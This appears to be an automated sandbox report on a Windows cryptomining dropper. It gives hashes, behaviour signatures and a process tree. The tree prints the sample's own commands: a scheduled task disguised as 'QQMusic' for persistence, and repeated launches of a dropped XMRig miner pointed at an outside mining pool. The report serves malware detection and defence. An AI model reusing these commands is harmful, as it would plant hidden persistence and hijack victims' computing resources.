Analysis

  • max time kernel
    150s
  • max time network
    144s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    25-08-2024 14:44

General

  • Target

    d6350d8a664b3585108ee2b6f04f031d478e97a53962786b18e4780a3ca3da60.scr.exe

  • Size

    9.0MB

  • MD5

    a2af48a018c65d34b445bd35bdd1b597

  • SHA1

    76daedc184a0cb9a717fc49f86a57b5baed0a35c

  • SHA256

    d6350d8a664b3585108ee2b6f04f031d478e97a53962786b18e4780a3ca3da60

  • SHA512

    d8def07a8accdb65b6b9dfc3168981b600a78310ec06cb626fcd000e7bcc4627ff5be7fc9f26992838226d84982ddd470d9ac89e041727e72b738a61bec61319

  • SSDEEP

    196608:rhHMBGC3PtXtT+Was8ywq1wo9JoYx5JAMdJOnZTG1IvQSaKe6NZOn:r2G0jwuwasMdJOnZKVSaaNZOn

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 20 IoCs
  • Executes dropped EXE 15 IoCs
  • Loads dropped DLL 2 IoCs
  • UPX packed file 36 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 2 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Program Files directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 21 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Kills process with taskkill 7 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 39 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d6350d8a664b3585108ee2b6f04f031d478e97a53962786b18e4780a3ca3da60.scr.exe
    "C:\Users\Admin\AppData\Local\Temp\d6350d8a664b3585108ee2b6f04f031d478e97a53962786b18e4780a3ca3da60.scr.exe"
    1⤵
    • Loads dropped DLL
    • Adds Run key to start application
    • Checks for VirtualBox DLLs, possible anti-VM trick
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Checks processor information in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1984
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c schtasks /create /sc minute /mo 1 /tn "QQMusic" /tr C:\Users\Admin\AppData\Local\Temp\d6350d8a664b3585108ee2b6f04f031d478e97a53962786b18e4780a3ca3da60.scr.exe /F
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2872
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /sc minute /mo 1 /tn "QQMusic" /tr C:\Users\Admin\AppData\Local\Temp\d6350d8a664b3585108ee2b6f04f031d478e97a53962786b18e4780a3ca3da60.scr.exe /F
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:2852
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c taskkill /f /im 2HIf.exe&&exit
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2784
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /f /im 2HIf.exe
        3⤵
        • System Location Discovery: System Language Discovery
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2628
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ipconfig /flushdns
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2664
      • C:\Windows\SysWOW64\ipconfig.exe
        ipconfig /flushdns
        3⤵
        • System Location Discovery: System Language Discovery
        • Gathers network information
        PID:2220
    • C:\ProgramData\2HIf.exe
      C:\ProgramData\2HIf.exe -o stratum+tcp://auto.c3pool.org:19999 -u 0 -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:2596
    • C:\ProgramData\SMB.exe
      C:\ProgramData\SMB.exe
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:2936
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c taskkill /f /im 2HIf.exe&&exit
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2692
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /f /im 2HIf.exe
        3⤵
        • System Location Discovery: System Language Discovery
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2088
    • C:\ProgramData\2HIf.exe
      C:\ProgramData\2HIf.exe -o stratum+tcp://auto.c3pool.org:19999 -u 0 -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:2716
    • C:\ProgramData\2HIf.exe
      C:\ProgramData\2HIf.exe -o stratum+tcp://auto.c3pool.org:19999 -u 0 -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:2400
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c taskkill /f /im 2HIf.exe&&exit
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:336
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /f /im 2HIf.exe
        3⤵
        • System Location Discovery: System Language Discovery
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2668
    • C:\ProgramData\2HIf.exe
      C:\ProgramData\2HIf.exe -o stratum+tcp://auto.c3pool.org:19999 -u 0 -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:464
    • C:\ProgramData\2HIf.exe
      C:\ProgramData\2HIf.exe -o stratum+tcp://auto.c3pool.org:19999 -u 0 -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:2024
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c taskkill /f /im 2HIf.exe&&exit
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2716
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /f /im 2HIf.exe
        3⤵
        • System Location Discovery: System Language Discovery
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2964
    • C:\ProgramData\2HIf.exe
      C:\ProgramData\2HIf.exe -o stratum+tcp://auto.c3pool.org:19999 -u 0 -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:2396
    • C:\ProgramData\2HIf.exe
      C:\ProgramData\2HIf.exe -o stratum+tcp://auto.c3pool.org:19999 -u 0 -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:1932
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c taskkill /f /im 2HIf.exe&&exit
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2152
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /f /im 2HIf.exe
        3⤵
        • System Location Discovery: System Language Discovery
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1392
    • C:\ProgramData\2HIf.exe
      C:\ProgramData\2HIf.exe -o stratum+tcp://auto.c3pool.org:19999 -u 0 -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
      2⤵
      • Executes dropped EXE
      PID:1224
    • C:\ProgramData\2HIf.exe
      C:\ProgramData\2HIf.exe -o stratum+tcp://auto.c3pool.org:19999 -u 0 -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:1608
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c taskkill /f /im 2HIf.exe&&exit
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2652
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /f /im 2HIf.exe
        3⤵
        • System Location Discovery: System Language Discovery
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2312
    • C:\ProgramData\2HIf.exe
      C:\ProgramData\2HIf.exe -o stratum+tcp://auto.c3pool.org:19999 -u 0 -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
      2⤵
      • Executes dropped EXE
      PID:2264
    • C:\ProgramData\2HIf.exe
      C:\ProgramData\2HIf.exe -o stratum+tcp://auto.c3pool.org:19999 -u 0 -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:2700
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c taskkill /f /im 2HIf.exe&&exit
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2932
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /f /im 2HIf.exe
        3⤵
        • System Location Discovery: System Language Discovery
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1004
    • C:\ProgramData\2HIf.exe
      C:\ProgramData\2HIf.exe -o stratum+tcp://auto.c3pool.org:19999 -u 0 -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:1324
    • C:\ProgramData\2HIf.exe
      C:\ProgramData\2HIf.exe -o stratum+tcp://auto.c3pool.org:19999 -u 0 -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:1492
  • C:\Windows\system32\taskeng.exe
    taskeng.exe {3950A568-9B26-4170-B8D5-D2AD89FD4F8A} S-1-5-21-3294248377-1418901787-4083263181-1000:FMEDFXFE\Admin:Interactive:[1]
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2972
    • C:\Users\Admin\AppData\Local\Temp\d6350d8a664b3585108ee2b6f04f031d478e97a53962786b18e4780a3ca3da60.scr.exe
      C:\Users\Admin\AppData\Local\Temp\d6350d8a664b3585108ee2b6f04f031d478e97a53962786b18e4780a3ca3da60.scr.exe
      2⤵
      • Executes dropped EXE
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • System Location Discovery: System Language Discovery
      PID:2548

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\ProgramData\X64.dll

    Filesize

    85KB

    MD5

    c7fad963ad8e46e773dc5ee9177ab218

    SHA1

    92a68b223b2d2e501c1f0123fabf63e15fff4d11

    SHA256

    7417daf85e6215dedfd85ca8bfafcfd643c8afe0debcf983ad4bacdb4d1a6dbc

    SHA512

    efd3511ddf487e08515ff301fd8d521060f37ad8035e0c19fb5d9c730df444ced918596f54994d9d090c889a79ba3d431f96ae4fc942b0c4a8aa0c145a05419c

  • C:\ProgramData\X86.dll

    Filesize

    71KB

    MD5

    900c175024c7aa58aab0c62897e2471a

    SHA1

    fc51f654aa35576b5421869ba621effe73bf1c46

    SHA256

    de23da87e7fbecb2eaccbb85eeff465250dbca7c0aba01a2766761e0538f90b6

    SHA512

    45ed21b83987a0a5e4320d06cabf8534aa04dfb0a5f7ff1d9df6ae247f7b813a9a5c8d36edb2132e07ef3f5b0eb49ac1757328ca73ae95d894b7eb23abd591e9

  • C:\Users\Admin\AppData\Local\Temp\d6350d8a664b3585108ee2b6f04f031d478e97a53962786b18e4780a3ca3da60.scr.exe

    Filesize

    9.0MB

    MD5

    a2af48a018c65d34b445bd35bdd1b597

    SHA1

    76daedc184a0cb9a717fc49f86a57b5baed0a35c

    SHA256

    d6350d8a664b3585108ee2b6f04f031d478e97a53962786b18e4780a3ca3da60

    SHA512

    d8def07a8accdb65b6b9dfc3168981b600a78310ec06cb626fcd000e7bcc4627ff5be7fc9f26992838226d84982ddd470d9ac89e041727e72b738a61bec61319

  • \ProgramData\2HIf.exe

    Filesize

    1.3MB

    MD5

    23d84a7ed2e8e76d0a13197b74913654

    SHA1

    23d04ba674bafbad225243dc81ce7eccd744a35a

    SHA256

    ac530d542a755ecce6a656ea6309717ec222c34d7e34c61792f3b350a8a29301

    SHA512

    aa6b0100d477214d550b6498787190fc1a8fafa7c478f9595d45e4e76ece9888b84dcca26696500d5710a9d1acae4810f2606d8962c46d31f2bdfcdd27bd675c

  • \ProgramData\SMB.exe

    Filesize

    3.1MB

    MD5

    7b2f170698522cd844e0423252ad36c1

    SHA1

    303ac0aaf0e9f48d4943e57d1ee6c757f2dd48c5

    SHA256

    5214f356f2e8640230e93a95633cd73945c38027b23e76bb5e617c71949f8994

    SHA512

    7155477e6988a16f6d12a0800ab72b9b9b64b97a509324ac0669cec2a4b82cd81b3481ae2c2d1ce65e73b017cebb56628d949d6195aac8f6ddd9625a80789dfa

  • memory/464-160-0x000000013F600000-0x000000013FC44000-memory.dmp

    Filesize

    6.3MB

  • memory/464-158-0x000000013F600000-0x000000013FC44000-memory.dmp

    Filesize

    6.3MB

  • memory/1224-187-0x000000013F9D0000-0x0000000140014000-memory.dmp

    Filesize

    6.3MB

  • memory/1224-185-0x000000013F9D0000-0x0000000140014000-memory.dmp

    Filesize

    6.3MB

  • memory/1324-207-0x000000013FD30000-0x0000000140374000-memory.dmp

    Filesize

    6.3MB

  • memory/1324-209-0x000000013FD30000-0x0000000140374000-memory.dmp

    Filesize

    6.3MB

  • memory/1492-215-0x000000013F3D0000-0x000000013FA14000-memory.dmp

    Filesize

    6.3MB

  • memory/1492-214-0x000000013F3D0000-0x000000013FA14000-memory.dmp

    Filesize

    6.3MB

  • memory/1492-212-0x000000013F3D0000-0x000000013FA14000-memory.dmp

    Filesize

    6.3MB

  • memory/1608-190-0x000000013FB80000-0x00000001401C4000-memory.dmp

    Filesize

    6.3MB

  • memory/1608-193-0x000000013FB80000-0x00000001401C4000-memory.dmp

    Filesize

    6.3MB

  • memory/1932-182-0x000000013F3F0000-0x000000013FA34000-memory.dmp

    Filesize

    6.3MB

  • memory/1932-181-0x000000013F3F0000-0x000000013FA34000-memory.dmp

    Filesize

    6.3MB

  • memory/1932-180-0x000000013F3F0000-0x000000013FA34000-memory.dmp

    Filesize

    6.3MB

  • memory/1932-178-0x000000013F3F0000-0x000000013FA34000-memory.dmp

    Filesize

    6.3MB

  • memory/1984-17-0x0000000004300000-0x0000000004944000-memory.dmp

    Filesize

    6.3MB

  • memory/1984-9-0x0000000004300000-0x0000000004944000-memory.dmp

    Filesize

    6.3MB

  • memory/2024-163-0x000000013F6B0000-0x000000013FCF4000-memory.dmp

    Filesize

    6.3MB

  • memory/2024-169-0x000000013F6B0000-0x000000013FCF4000-memory.dmp

    Filesize

    6.3MB

  • memory/2024-167-0x000000013F6B0000-0x000000013FCF4000-memory.dmp

    Filesize

    6.3MB

  • memory/2024-165-0x000000013F6B0000-0x000000013FCF4000-memory.dmp

    Filesize

    6.3MB

  • memory/2024-166-0x000000013F6B0000-0x000000013FCF4000-memory.dmp

    Filesize

    6.3MB

  • memory/2264-198-0x000000013F970000-0x000000013FFB4000-memory.dmp

    Filesize

    6.3MB

  • memory/2264-196-0x000000013F970000-0x000000013FFB4000-memory.dmp

    Filesize

    6.3MB

  • memory/2396-175-0x000000013FFC0000-0x0000000140604000-memory.dmp

    Filesize

    6.3MB

  • memory/2396-172-0x000000013FFC0000-0x0000000140604000-memory.dmp

    Filesize

    6.3MB

  • memory/2400-155-0x000000013F340000-0x000000013F984000-memory.dmp

    Filesize

    6.3MB

  • memory/2400-152-0x000000013F340000-0x000000013F984000-memory.dmp

    Filesize

    6.3MB

  • memory/2596-138-0x000000013F6E0000-0x000000013FD24000-memory.dmp

    Filesize

    6.3MB

  • memory/2596-10-0x000000013F6E0000-0x000000013FD24000-memory.dmp

    Filesize

    6.3MB

  • memory/2596-11-0x00000000002F0000-0x0000000000304000-memory.dmp

    Filesize

    80KB

  • memory/2596-144-0x000000013F6E0000-0x000000013FD24000-memory.dmp

    Filesize

    6.3MB

  • memory/2596-137-0x000000013F6E0000-0x000000013FD24000-memory.dmp

    Filesize

    6.3MB

  • memory/2700-201-0x000000013F200000-0x000000013F844000-memory.dmp

    Filesize

    6.3MB

  • memory/2700-204-0x000000013F200000-0x000000013F844000-memory.dmp

    Filesize

    6.3MB

  • memory/2716-149-0x000000013F7A0000-0x000000013FDE4000-memory.dmp

    Filesize

    6.3MB

  • memory/2716-147-0x000000013F7A0000-0x000000013FDE4000-memory.dmp

    Filesize

    6.3MB